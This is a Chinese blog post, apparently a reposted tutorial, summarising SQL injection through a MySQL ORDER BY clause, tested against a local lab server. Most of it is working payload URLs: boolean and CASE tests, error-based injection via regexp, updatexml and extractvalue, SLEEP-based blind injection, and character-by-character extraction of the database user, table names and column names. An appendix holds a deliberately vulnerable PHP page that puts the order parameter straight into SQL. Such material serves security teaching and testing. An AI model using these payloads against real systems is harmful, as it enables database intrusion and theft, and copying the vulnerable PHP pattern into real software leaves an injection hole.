• Mysql Order By注入总结


    何为order by 注入

    本文讨论的内容指可控制的位置在order by子句后,如下order参数可控
    "select * from goods order by $_GET['order']"

    简单注入判断

    在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1order=2是不一样的

    http://192.168.239.2:81/?order=11 错误
    http://192.168.239.2:81/?order=1 正常
    

    进一步构造payload

    前面的判断并不是绝对的,我们需要构造出类似and 1=1and 1=2的payload以便于注入出数据

    http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序
    http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
    
    /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
    /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过price字段排序
    
    http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过name字段排序
    http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过price字段排序
    

    可以观测到排序的结果不一样

    http://192.168.239.2:81/?order=rand(1=1) 
    http://192.168.239.2:81/?order=rand(1=2)
    

    利用报错

    在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例

    返回多条记录

    http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确
    http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
    
    /?order=IF(1=1,1,(select+1+from+information_schema.tables))  正常
    /?order=IF(1=2,1,(select+1+from+information_schema.tables))  错误
    

    利用regexp

    http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
    http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00))  错误
    

    利用updatexml

    http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1)  正确
    http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
    

    利用extractvalue

    http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
    http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误
    

    基于时间的盲注、

    注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击

    /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
    /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
    

    数据猜解

    以猜解user()即root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及leftright可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写

    通过下可以得知user()第一位为r,ascii码的16进制为0x72

    http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
    http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
    

    猜解当前数据的表名

    /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  正确
    /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
    

    猜解指定表名中的列名

    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
    

    sqlmap测试

    在没有过滤的情况下是能够检测到注入的

    附录源码

    
    <?php
    error_reporting(0);
    session_start();
    mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
    mysql_select_db("sqlidemo") or die("Select database failed");
    
    $order = $_GET['order'] ? $_GET['order'] : 'name';
    $sql = "select id,name,price from goods order by $order";
    
    $result = mysql_query($sql);
    
    $reslist = array();
    
    while($row = mysql_fetch_array($result, MYSQL_ASSOC))
    {
      array_push($reslist, $row);
    }
    
    echo json_encode($reslist);
    
    
    create database sqlidemo;
    use sqlidemo;
    create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
    insert into goods (name, price)  values("apple", 10);
    insert into goods (name, price) values("banana", 15);
    insert into goods (name, price) values("peach", 20);
    

    参考

    http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
    https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
    https://dev.mysql.com/doc/refman/5.7/en/string-functions.html

  • 相关阅读:
    使用Jquery的Ajax调用后台方法
    FileUpload与UpdatePanel
    OnClick与OnClientClick的时序和条件
    LinQ使用积累
    If...Else转换为Action的写法
    淘宝对接(二)
    淘宝对接(一)
    dialog传值
    android sdk开发包国内下载地址合集
    admob android
  • 原文地址:https://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html
Copyright © 2020-2023  润新知